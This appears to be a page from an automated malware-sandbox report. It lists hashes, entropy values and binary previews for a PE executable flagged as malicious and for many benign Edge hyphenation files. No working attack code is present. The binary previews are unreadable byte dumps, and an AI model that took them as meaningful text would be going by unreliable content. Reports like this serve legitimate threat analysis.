SHA-256:	8EF6CD5928D602F0011BA38EAADA3C2A5A8E26930C9064400F81E7E182BC7AAA
SHA-512:	E809EBB44765C671C703A61BB28E20F0383C8405A543B94AD88778E5C14682D57C5FFE866E690032B3B85CC500C4270BE8452C5AC4A7B8ECCA90440B9D4A736E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................0L...........@..........................`L...........@.................................W...k.......H...................<.L...............................L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .P+.........................@...bapykixb. ....2.....................@...bvnfygjx..... L.....................@....taggant.0...0L.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-af.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72640
Entropy (8bit):	5.813503646473953
Encrypted:	false
SSDEEP:	1536:dH4Yzf/r1T2bhKC+wQ/MJ4tpBMfWDMxFaye3yrGZ3vGV9YODhX3yKfhGt:dxLr1qFKpNpufWIqye3KgGVnDxe
MD5:	FFA9DB945F0F0C15B8BBA75A6E064880
SHA1:	49217A9D5BB7A868464403B4E3C82E80DF53456C
SHA-256:	5487EE44A4CD706D0086522E90C59C76CDF2AC68CE506FD3EAE6054B9220C0CF
SHA-512:	CC67B2DFBBB009DD3FDB999FE86410425455613C12DAC755A3CDED435CD25CA4363782D70F3B7BB7C0FDD63E2EB649AE6A4053D929F463B646B43D7DBFDA79C0
Malicious:	false
Preview:	hy.b........L...............K....8...h............... ...(...0...8...@...H...P...X...`...h...p...x........................................................... ...(...0...8...@...H...P...X...`...h...p...x............................................... ...@.. P..!X.."p..#x..$...%...&...'.... ...@.. P..!X.."p..#x..$...%...&...'...........?................C............ ... ...@.E...."`..'...-@.I6...=...C`..J...P...V..O]...e .Qm`..t..S\| ...@...`.......@........Z..... ...`...`.......... `......A.....$...e.......g..... ...@...@.G..... .I. ....K..... ...............................U...........XA..Y..... ......! ..4@.............K...K*..U.f......i...c........ ..5"../...3............`.EO........ .....I...J.A..3......./........a.......a..........;B.U%...+A.W0...2...Q ..\...........9 ..........f.......7C......5a.H.@.GD...8...........a..L<!.M........>a.U....!..RB.......f..........C...E...C .Z............M....b.D7. .........a.H!..OSA...A.KJ...".."..N.......R.`...A.R^...........JB.........'`.

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-as.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	703
Entropy (8bit):	4.3052979773855045
Encrypted:	false
SSDEEP:	12:A1/6kZQ0FLwE792NGl5D/0l3gebslEVkGsOoiEbM0TbvZE8h:QnFR0NGlN/0l3g8qfOMbNTbZE8h
MD5:	8961FDD3DB036DD43002659A4E4A7365
SHA1:	7B2FA321D50D5417E6C8D48145E86D15B7FF8321
SHA-256:	C2784E33158A807135850F7125A7EAABE472B3CFC7AFB82C74F02DA69EA250FE
SHA-512:	531ECEC11D296A1AB3FAEB2C7AC619DA9D80C1054A2CCEE8A5A0CD996346FEA2A2FEE159AC5A8D79B46A764A2AA8E542D6A79D86B3D7DDA461E41B19C9BEBE92
Malicious:	false
Preview:	hy.b........@...............H.....L...L...L..(L..0L..8L..@L..HL..PL..XL..`L..xL...L...L...L...L...L...L...L...L...L...L...L...L...L...L...M...M...M...M.. M. (M.!0M."8M.#@M.$PM.%XM.&`M.'hM.(pM.)xM..M.+.M.,.M.-.M...M./.M.0.M.1.M.2.M.3.M.4.N.5.N.6.N.7.N.8 N.98N.:@N.;XN.<`N.=hN.>pN.?.N.@.N.A.N.B.N.C.O.D.O.E.O.F.O.G`..Hh...............?......N........@...............A.......................................................................................................... ...!..."...#...$...%...&...'...(...)......+...,...-......./...................................................................@...A...B...................G...................................(......................................

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-be.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6098
Entropy (8bit):	3.681934272069777
Encrypted:	false
SSDEEP:	96:mmfvnESaDPq1iYM7N8gyurprJr/P5FwBlh/RT95vtEUnbpwROaQPP/KV2L+HCdYV:XfYPq1iYyNk5p50OwQPP/KV2L+HCinCO
MD5:	087DE134F3B23A9944AFD711A9667A0B
SHA1:	1B67D0A65EF91295207D66E62B682803AA74EF00
SHA-256:	25B7CFA039F82AC92990E1789DE40988D490DB9B613852FB24036B38FF87893C
SHA-512:	42C0B51E0E28109A7058D3FC03FA7BEF8B25C9B3C8BB74933574FAD06C061FD1636B53EEEACF652E438D4DF08002DB449681BE9E6E6821EC23D32A8BE1778998
Malicious:	false
Preview:	hy.b........4...(...........E....8...h..!. ."0 .#p ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ...!...!...!...!.. !..(!..0!..8!..@!..X!..`!..h!..p!. x!...!...!...!...!...!...!...!...!...!...!...!...!...!...!...!..."..."..."...".. "..("..0"..8"..@"..X"..`"..h"..p". x".!.".".".#.".$.$.$.$.........?...............w...@........................!...+...3.... ..;..KD&.. ..ML4.NT8.O\6..e....$..m...v2..~<..,..."..:..0....(........S2.......... ...!...".... ......".........................................................S............$..............Z............9.......................$.......".........................................................S............$..............Z............O.......................$..........A...B........P..E[..FK..GK..HK......JK..KK......MK...c..OK..PK...X..RK..SK...2..UK..H:..WK..XK..YK..ZK..[K.......V..MX..........A...B.......dK..EK..F[..GK..HK..E0..JK..KK..H..MK..NK..OK..PK......RK..SK..TK..UK..K0..WK..XK..YK..ZK..[K..S^...V...]..T0..

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-bg.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	3467
Entropy (8bit):	2.7535319237657605
Encrypted:	false
SSDEEP:	96:Op0nEURURUxURURU/ajyRUK0x0x0x0xGURURURURURUMO+L:y08D8+L
MD5:	E8A4F8F5238F9A0FF6968AD8DBA2755F
SHA1:	ABF002FF28B3AA2A59948225E5E600096348CAA7
SHA-256:	7593F0395081E3EEB2D8516D10746608AFD826CFFD4E7E37D53936993D200A13
SHA-512:	B54811E1BE6E63BF19E408AC4AE9DA86E1473E4E8F1E9D517D907E025BE20FA6979517339EC6DEFD0EC30613ED42A97D88111D39297214AFA7606597CBA5EA86
Malicious:	false
Preview:	hy.b........d...H...............P.......................................................................................3........U......c...$..............h....U..*.... ...$..m(...,...U.../...3..r7..3;...U...>...B..wF..8....M...Q...U..\|U.......U..#....U.......U..g...h...$T..ET...V..H....U...U..sV...V.......Y..rV..sV..PT......RU...U..Y.......b...C...D...E.......G...H.......J...K...L...M...N.......P...Q...R...S.......U...V...W...X...Y...Z......................B...c...D...E.......G...H.......J...K...L...M...N.......P...Q...R...S.......U...V...W...X...Y...Z......................B...C...d...E.......G...H.......J...K...L...M...N.......P...Q...R...S.......U...V...W...X...Y...Z......................B...C...D...e.......'...H.......J...K...L...M...N.......P...Q...R...S.......U...V...W...X...Y...Z......................B...C...D...E.......g...H.......J...K...L...M...N.......P...Q...R...S.......U...V...W...X...Y...Z......................B...C...D...E.......G...h.......J...K...L...M...N.......

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-bn.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	703
Entropy (8bit):	4.3052979773855045
Encrypted:	false
SSDEEP:	12:A1/6kZQ0FLwE792NGl5D/0l3gebslEVkGsOoiEbM0TbvZE8h:QnFR0NGlN/0l3g8qfOMbNTbZE8h
MD5:	8961FDD3DB036DD43002659A4E4A7365
SHA1:	7B2FA321D50D5417E6C8D48145E86D15B7FF8321
SHA-256:	C2784E33158A807135850F7125A7EAABE472B3CFC7AFB82C74F02DA69EA250FE
SHA-512:	531ECEC11D296A1AB3FAEB2C7AC619DA9D80C1054A2CCEE8A5A0CD996346FEA2A2FEE159AC5A8D79B46A764A2AA8E542D6A79D86B3D7DDA461E41B19C9BEBE92
Malicious:	false
Preview:	hy.b........@...............H.....L...L...L..(L..0L..8L..@L..HL..PL..XL..`L..xL...L...L...L...L...L...L...L...L...L...L...L...L...L...L...M...M...M...M.. M. (M.!0M."8M.#@M.$PM.%XM.&`M.'hM.(pM.)xM..M.+.M.,.M.-.M...M./.M.0.M.1.M.2.M.3.M.4.N.5.N.6.N.7.N.8 N.98N.:@N.;XN.<`N.=hN.>pN.?.N.@.N.A.N.B.N.C.O.D.O.E.O.F.O.G`..Hh...............?......N........@...............A.......................................................................................................... ...!..."...#...$...%...&...'...(...)......+...,...-......./...................................................................@...A...B...................G...................................(......................................

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-cs.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	64245
Entropy (8bit):	5.814241893442265
Encrypted:	false
SSDEEP:	1536:sonSvAX9Cf306OFe4Q/irU+bvWDdF3EeFWPA:rSvEchf41oKv4dBEbY
MD5:	E8B1509F86508E807D61216614B3DD58
SHA1:	B2334509E9D1589AD2E8B80C187018EADB15872B
SHA-256:	97A4755FE9E653A08969F1933E3DB19C712078B227BD5AA6799093ABC5A0EDC3
SHA-512:	FB340FEF9D0DBA342FD85B8B18C0090391AED717FE92A8DA7C5D939DC9C0AA5235D4423B590E52B0DECDDD4F4AD8BD4652361161C193617601FF490DD1BE97FE
Malicious:	false
Preview:	hy.b........................i....8...h............... ...(...0...8...@...H...P...X...`...h...p...x..................!...#...&...'...(...)...+................ ...(...0...8...@...H...P...X...`...h...p...x..................!...#...&...'...(...)...+.......- ../@...H...P..0X...h..1p..2x......4...3...$...5...6..........- ../@...H...P..0X...h..1p..2x......4...3...$...5...6.......`...h...p...x...........8...@.......... ... ..." .."(..%p..%x..,...,...........?...............q=........p...p.C.....P..(...$...-.......2.......;......(...G...Q...W...`.... .S....l...up...........Y.....1.......`.....U.......].`.!.....q..........>..fd..'.....i....Cq..D...5..m.0.n.`... .0....O..r P.........u...6......]......gp..........1..K.`.U..............P$P..<..._R.....T...........W...."B.....a.......Y.!.].q.\<B...a.]...!........+@..&......f...'.a.h...i.......k,0.)n...D..T....#...'C......W..D...........G. ..bR..%........0.!.0._R...*...0......QTp..t+.+...T5...;...@...C......Y.`... .[G.......L.... ..Qq.....

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-cu.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	52842
Entropy (8bit):	5.38329333122688
Encrypted:	false
SSDEEP:	1536:a5OMYzUXoeoZA7SmEUbxucj5DTKZ2oVXEyb:a5JYzUXoeCA7SmEU9ucjBKZxJEyb
MD5:	B4E5921B1DF85BA9F2EBE6CE578915F6
SHA1:	B5F2E813667AAE32E65CAB9C9A0DD291421ADA0B
SHA-256:	2BAEE19D5024FF87DCF3A1B9D0DA1B3AC5A1E506ADEEAD3B96A4DE5395D0290E
SHA-512:	41696A9E25CA004ACDC8DEF265766392CE3568747560FF73CD08AC9FA4A99E4C4654FB84DC602845B3E444A8312FB099C72932471F7E830874CD7CFA184B63B7
Malicious:	false
Preview:	hy.b............4...j....................0...8...@...x..........(. .). .* .+( .,0 .-8 ..h ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ...!...!...!...!.. !..(!..0!. 8!.!@!."H!.#P!.$X!.%`!.&h!.'p!...!...!...!...!...!...!...!...!...!...!...!...!...!...!...!...!..."..."..."...".. "..("..0". 8".!@"."H".#P".$X".%`".&h".'p".(.".)."..".+.".,.".-."..."./.#./.#.0.#.0.#.10#.18#.2p#.2x#.3.#.3.#.4.#.4.#.5.#.5.#.6.#.6.#.7.#.7.#.8.#.8.#.9.#.9.#.:.#.:.#.;.$.<0$.=8$.>.&.>.&.? '.?('.@0'.@8'.A`'.Ah'.B.'.B.'.C.'.C.'.D...E0..F.o.G.o.H.o.I.o.J o.K(o.L0o.M8o.N@o.OHo.PPo.QXo.R`o.Sho.Tpo.Uxo.V.o.W.o.X.o.Y.o.Z.o.[.o.\.o.].o.^.o._.o.`.o.a.o.b.o.c.o.d.o.e.o.fxq.gP2.gX2.h`2.hh2.i.2.i.2.j.3.k.3.l.3.m.3.n.3.o.3.p.3.q.3.r.3.s.3.t.3.u.3.v0..wp..xx.......................2...8...U...h...........B........ ..................A..:...i........a..........H..._b..}b..."..."......"...BC..Z.......q...$....C...c.!.....C.#D`.$.c.%U..&..'-..(S..)S..g$.+L..,...-.D..[....d...E..L...QA.3e .4...5.e.....7...8...

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-cy.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35913
Entropy (8bit):	5.348760037769152
Encrypted:	false
SSDEEP:	768:s022NAK9/8ei2v0BJlYZqNCII2vfP+DzEKd8mPBFDpvH5aWg6:c25X/MBPjNCIISkTPB3RN
MD5:	B0F32ED7B4B8A068A962D820627B7229
SHA1:	76734E58BD33C4D1450228BF05E53CFE169A02E6
SHA-256:	4D0569FE2F4B41B3164CF610310E1D996FD2C553CC39DE6062E50F4E033CC207
SHA-512:	8F20253985C217401627E0C7D31AA1BF213FA220BB498869E11E1E532C3C82DBC2ABE6FFA27C69243913243AF1AEB35806175511D77D730C914B1CADD71AA7A0
Malicious:	false
Preview:	hy.b............(...I.......A...................................................................................................................................................................................................................."..@.......".....H.D...e.................... .. 0.,#...&...)...+....0.11..R4...6..T9............[.....y........; ..<...=H..>..E@..&A...A..HC(.).@..C`.+Ex.LF..MG0...../?8.0H8.QH....p..H..TJ......bK...L...N...Oh..Q...S....@.i.H.JVp..X..L[P.M.X..]8./`...b..QeX.2.x.Sh...j........{...h..l.......x.C3...n...Hh.....O. ..pp...@.o\(.p....\|8.rq..sr...t...v....X.!.....X.%eh.........Hx@.IT...t.......'`..z...../{..0.(.Q\|....H..^p..~......!.......!.d.$........@.'Np..% .I.X.j}..+R.....M.......o.x.........2.0.....T...0.....P.s/..E8.........b.......$.P.%...F...G.`.H(.....J. .....,.h...(...8./.H...0.q..............a........1....X................i......'....................X.1)..Rd..s.......1...4.[..;..e/..........B........-......&3....[.............t.......

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-da.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6967
Entropy (8bit):	4.538486676934439
Encrypted:	false
SSDEEP:	96:op8RuPmWKvTES4MDmKQS3mAdi1flBiLwHR08fiCkUNGrvYe4KiGn1BUBkQH:op8ImWKEGS87diLBiLUfoUNGrln1BUBL
MD5:	D0E160DCA547EDA390D6CC7C4A1F7AC6
SHA1:	7EB71819675E82B1BB92428E07FA6B05CD1854D8
SHA-256:	86FDFC8DB62CDAA11F615DAD3712DA1F4708294E029A4AAD0FC285D4EA16C4BD
SHA-512:	9BE5F673962C6049ED1C796A81AA7BE72A1C7715FC2D4610CF6565541C7BB145D068B94B5FDADD30BDB5F5287CCC2055EC1DC9E11E4C5B8965D59EF73AB145C4
Malicious:	false
Preview:	hy.b................7.......A...................................................................................................................................................................................................................A.......!.<.......-.....e.3...:.........i...* ..+!&..$...(2..+".O/..P25.Q.9..54.s9;..=/..?..VB%......i)..D....*.[G...I,..K..a...".....0.D.1...6.E...E...............................o..... .e.....#.3.......)}............'.y.(...............7.B.......$............L$...!...+.....k@..lN..M.......o...0-..e...RH...O..TQ..!................!..z......6.................................l...R....E..t...U...3...w.......................D....2..............................................=....M...R...T..u..............Y.......s...\...]....U...........V.......(..g%..............kW..LY...$..NP...X..........2[......T]...R..6_......x...........{........2......!.......%...........................L..........o.......l.......S...._..........U.......Y.......E...\...]...

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-de-1901.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	121393
Entropy (8bit):	5.614356663048744
Encrypted:	false
SSDEEP:	1536:4S0havr6N41g38Gnzvueua0+Az+u3tnQrI9LKyQh9HzSWwwwKYf+wBuLxfrHmu:5cae4TyzvqaQzjQMuSWwwU+RpT
MD5:	DD9D0A81D897F88F76C1F6D69FB7483E
SHA1:	520BF6111F902196591EA358FA8AB4AE89EE0ACC
SHA-256:	8C5FA4B29519D17593E923BC6A9A284DF7A6D07FAC42F897110B8FB2E0BAEEF5
SHA-512:	8C0A339D353CAC1C66542BCFB7D41E7241A59A1886FE8A189AA155AAFDF3BD23274F956D3D8A49BE5B23CCEAFB516648A0E0B44F67E6F5CA60E216FB3F362CCC
Malicious:	false
Preview:	hy.b........p...P...1.......T................ ...(...0...8...@...H...P...X...`...h...p...x........................................................... ...(...0...8...@...H...P...X...`...h...p...x........................................................... .. 8..!@.."H..#P..$X..%h..&...'...(...)....................... .. 8..!@.."H..#P..$X..%h..&...'...(...)..............?...............rs............@.....2@..=.#.G.$.R...\@'.g.(.m.-.r /.}@(.../...0...... .. 7.......8.....@...`9...... .Y..=..a<..!=......@8......3.O..!. .......%.....%...f...g....O@..!..j(....A..4A...`.D4...8a!..#.=.$H%.%.@..J..%.D...>.'M8`)NI...J...Na&...).QA .S...V..Y.....,.\a%.........^...O...O.-.'..OP.......O@/.a/.....e...../B([0...HO@..w.2...0j....a...f...oA3Dt.4.ya4.}!5.A.H.A.I..6...7...7..!8.....!:.V.-.....:.2...:S.A....2...:.........&.;.n!.Za.[,......m...c=.O...O..A..&.."...x......m..O\..E.....9...@..U.........C. .........9...&@.... I. J.. K..!L.."..@#.&.#..!$.....U....!....'..!...!(.U`(.Y.....(.$..

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-de-1996.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120412
Entropy (8bit):	5.625930999317145
Encrypted:	false
SSDEEP:	3072:+GQAdd4u8VlGiVdYQvi792ovhcxX9iEaAGGceTUjnnfxXElEg:7Q+UfN3RiEaZGceTUjnJXih
MD5:	E7A9906B316D478B55BF8EBCBBB1D1C5
SHA1:	5688453DE9AFB7405960980DC93ADF9296AA2F4A
SHA-256:	D673805547A0228D2F57A5AD551B8760CFCC521F38C49284ED3976E3515BCA49
SHA-512:	36E6BEABA33A16203F996D6E8FD987347028D590A4B4BCD4D2A129876C486E03B9BA13F279F301E91AEC1E0F8E91BF109A27F2B464F15A3E1A2B56D03473B69C
Malicious:	false
Preview:	hy.b........p...L...\.......T................ ...(...0...8...@...H...P...X...`...h...p...x........................................................... ...(...0...8...@...H...P...X...`...h...p...x........................................................... .. 8..!@.."H..#P..$X..%h..&...'...(...)....................... .. 8..!@.."H..#P..$X..%h..&...'...(...)..............?...............qr................'.4`;.>.#.I.'.S...^.,.h`..n...t.0.~.3..`9..@..../.. +.. <......`....... >..@>..>..`.Y.@....4..A..............A.NT..!.`.........$...%.....-.....TT...%..j,...2!..8. ..` ..!.;.#...$.Aa%H%@%.B.%..`&.6A.LCa'.G...I...M.(PJ..CT@).O...Sa..V...Y....*.\..X...Y.`$.^.,MT.(NT@.PT..LT %....RT@/.p./.H!.....A.....[0B..0E%...].0.%`......bA2BgA..pa/.t...z...~..G....!5.a5J..5..A6..!.M..$.....8.6...).p.7..A.S.8....U..9. A$..@;./..Yo.,Z.a3....AD.).."...x<_T.;`T@.Mr =..B=......`...83.#.;.hB..A...V.=jZ..A..>B..>CZ.../ ...a.F....&..H.@...!...@.K......MZ. .&. O.!.. "QZ....A"..."..!!....VZ.#W]..A..$.#..

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-de-ch-1901.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120218
Entropy (8bit):	5.59374839547232
Encrypted:	false
SSDEEP:	3072:iDCOweCoHgtKmiQaf6ZCM1BKstDcqZnSmEBQBkXmhHB71:CCZeLHgtlG6dzhcqZnSmjkXmJ
MD5:	C6773229845710633D3A4D6DD9800FC5
SHA1:	1D4C2E5F3DDF5627164EDB471E8A8177993449F4
SHA-256:	8223A912160354E05735522FDB339DC59B353AD5D1E4F4CFA94898DC348E748F
SHA-512:	EA69926520429CD934D52D84A7FCAD6BC9BB654085D8D1DE813E73F191EBD7B310E2E68B4BB43FECBD88CFD15EAD7FE295405C01B7FDC225914B0477C08D4E01
Malicious:	false
Preview:	hy.b........p...(...........T................ ...(...0...8...@...H...P...X...`...h...p...x........................................................... ...(...0...8...@...H...P...X...`...h...p...x........................................................... .. 8..!@.."H..#P..$X..%h..&...'...(...)....................... .. 8..!@.."H..#P..$X..%h..&...'...(...)..............?...............hr...............`8.2...=.".G.&.R...\ (.g.,.m...r.'.}........ &..@...@)...6.......6..........-......:Y..;...7..!......@2..h.....NM..!.....A..,E.d...%. .f...g.@.LM`..!..j(.......4. ..."D4A$.8.%.. %.=.&H%.(.@.%J..).D...>a.M8..G..OI..PMA....+.P.$SR...T...YA....,.[.-.........^!.MM@.NM`.R0a..M /..`.RM.-........A>..L.0..z....0.L..........j....a.2.f...o!3Dt.3.y...}...a5H.a6I..6...6..A8...+.....a1.V.8....O<.....1..!8......#.........& ..Ga.ZA;[,@...B&.j.._s.._M..`M .A.8.R.B......K..E.....B...8.Oh.... .S..........C.......... F.. .. !...!I.A"...#K. #L.a#.S ..&........'.S.'..a(........U....S.(.U..A+...$ .

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-el.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4219
Entropy (8bit):	2.980575544490941
Encrypted:	false
SSDEEP:	96:mMgP7nbvtENatA/JKab1QaRAwdRsCaRANaM2ahrvmG7VnaxEaP3/SJADfY:Wjpk+O5b1zRAcRshRA0KhrvZ7QJPvSJd
MD5:	746A59E9F9DDA15C0F17C1B72921C85F
SHA1:	EB7F671AF76EAC40787D9227D41453B5117889BF
SHA-256:	76AE3454FB0045ADB83094832578AA4749CE4DC694C4EDCF85B419C1E2D9BCD3
SHA-512:	8894B754377285E2F3071FA5BCD714F249F3DC85BF3690641C6576B070113C1E72CAA61E7E2C97D35A7F79B08C2969BC4A2FE46BC4BFFC4ED58069387DFA7834
Malicious:	false
Preview:	hy.b................{.......Z...%8..&....0...@.. H...P...`.."p..#x..1...................................,...................................1.... ...(...0...8...@...H...P..-X...`...h.. p...x../...................................,...................................0........ ...(...0...8...@...H...P..-X...`.."h..#p..................!..........$...+.......)...'....H..!X.....$X......+...(.......?...........................B....%.../..E1......G7...@...K..JU..._...i...t......O~............S................... ...!............... ...!...&..`.......b...........e...f...g...S...S...............................................l...................................l.......................................T.......R...........E...S...........................L...........K...................................................@..."...,...$...@..."...@...$..............,...-..........,...................................................................................G...................G...............

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-en-gb.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	46607
Entropy (8bit):	5.538023038233528
Encrypted:	false
SSDEEP:	768:8CPGXSlQXvRVYVL0xpPuB5YBBaEiQD6m8eft0Sr+uh0d3TPwHh8fJVVoxUb:8bXQMZQ0xwB5Y7aEiQD6mPf2S6uoTPwg
MD5:	FA3DCB77293A058277CB148A0FF491FA
SHA1:	3335315B13CD82075DA2ADBEBE32759C01833E8D
SHA-256:	AE4B78009D18E849D87458677151EE3AAD1608AD72EC050DFD2421D22E7D031F
SHA-512:	C83A8C4EB29C3171FEFE983C3E342B6AF1BC1ADD7288C75C5A782DC14F12D2AF83043C2B43C9AB3E5DB61C91DE6D7CB473746517DEBCFF7AC2C0F05BB8B0971C
Malicious:	false
Preview:	hy.b........`..............A...{....................................................................................,..@.....`...p.........%.h.f.H...h.H...i.@.."X.K%X.l(H..+....`..2..P5......r8P..;...>...B...D(..G..8K..YN..:Q..AT8..Wh.CW...J...Y...\X......\...Q........(..]p.-_..._..Ob...e..i.(.."8.sgH..h@..Cp.."..W.......U...........Bk(..k0.$n...oH..`X..q...c...s..J.......,v0..x..Ny......0\|@......~ .....4...5.P..#...e(.x...Ys`.:W...............+..e...&......h.X.i.p.....+...,F...E....@.O....C....... ..h...........h.W.....@..i..cK...vE.e.0..R........P..`..C..KQ....!.@...e./........P...h...X.4...U...u.(........9.........x.....C....H.........Ga....`...H.................N..........y.......D.... ......%8...H..R..Y................X.$....x... .....h[P.I.`...x..i..............8....q...R...........U...6.0.wp...g..9. .:L..!.@."......$.8.%...{P....(........Q.hv.......L.....O.......o.(.r...s.h..U..U................p...(... .Gv0....i.....b.of....H.......P.......8...(.....$@.

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-en-us.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	59802
Entropy (8bit):	5.854267250388292
Encrypted:	false
SSDEEP:	1536:h5tXyt+U07SAFarfxlLXSwk1cI3P05j23Kqo74TKAqs:JCtYuPrfxZE1c0o26aT9qs
MD5:	B2693233D14890C81D322BEC948549E7
SHA1:	7EA8E42E319305010D3E6568FB4983171583DD06
SHA-256:	03727CD6F4AA71B203C4C74CA6987AC7D87F13037337AC6F4B6996C2A0DC5F8C
SHA-512:	1BCB5A9C3DB408FBA6A6D02162A294C5C7264D4B202EB332DA8D02C0C662CB070CF1534D5AA0754788D35ABC88273F3337CA5F302ADA95BCAD077EAA52804915
Malicious:	false
Preview:	hy.b........`...............A...{....................................................................................3..@...a.8...............h...h.......x.....J"X.."...%`..(...+.../..02..q....5..38..T;p..>..VA...B..xE@.yHH..J..!MX..P..CP...R..EU...X ..X...ZP.)[h..Ep..]...]p.M_...`...a...d.......d@.SgP..i..U@...j..7l..X.......:....mP..Th.do........`.Gq..(P...L..J.......,s...m...t....(..v.......y ..\|..4}......V[......8...."..Z...!. .b10.U\|....8............(.@.....J............x...8...........@..........'H...`.V...7...a.....8..!`......`.........H.......r.q.....l...E...N.x......F..Q.......3.@..^P..H..\1.EA..ob..........a...B...C.X...........(.G.x.......0.J..... .Lv..M...n.../...P.0.).h..8..Hh.T.i....V...W...ebs.y........R..#. .d........j....@.(........P.+B...H....N....x... .....2.X..0.................X.(..L..!.P."..............WH.I.(...8...p...)..0...O...........Dx.0.....@.2jh.S...t<..U...S...a...".........@....z....oP..]..i... ....`..l...........O.p.0....U....0.s...4tC...P.

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-es.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	14995
Entropy (8bit):	5.189941208174841
Encrypted:	false
SSDEEP:	192:j6aP1LZOFTlMa6Xb05w4rsv6SHyg8jNIcG3VTCkde7QpCKBz1iBOJGPJ3IDIHmz:hP9er5wKGhSfhIc4yyC+z1iM0PtIDIHQ
MD5:	F6BD0377237FCA3C4B7C6A6CB244298B
SHA1:	B8DF975889CFB06FC97DB3D63A7820B7CF621F40
SHA-256:	137461792537A2E56A6475E81E2B9AD7A2BDABF1F4738FAE186DCA3022357349
SHA-512:	0A36860580E295122F5E49091127386EDC762EEDBA80A2D7AD958AB33307AABCD420173E08AE797A19664BC830800D92C548F3E434BF19BFD7791E50E0C45C2A
Malicious:	false
Preview:	hy.b............T7...:......A................................................................................................................................................................ ............................... ......?.............................$.C...."8..((../,..6d.H=...C@.JH,..OD..U0..\,.Nc...j...o0..u<..\|..S.....L..........\.X.T...@..l..........8..........0..........(...'..F...G.....\.I.D.J.X.K.4.L.4..8.N.......PBp.Q.h...p.. H..E..N'm.V...W...X...Y...Z.<.....A-L......E....4.E...Fh....m../....x..:....`.LE...I....<..\|.....N8........ ..}X......@...........)....t...T.......$...D.G...H.....\|.......H...Q.M.(.....U.@...e...........p.T.........................x.....A.....P....... ..j....(.G.T......R............Y.M.....H..#..........R.........x.......`...P.................S...............E......G...H...O.....L....... .M........+........t...i.....T.../....d........................E.%.....D....)...........8......./....a..M.....NO\......t.I.h.........2.................

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping5736_1896780798\hyph-et.hyb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	21421
Entropy (8bit):	5.229662639498423
Encrypted:	false
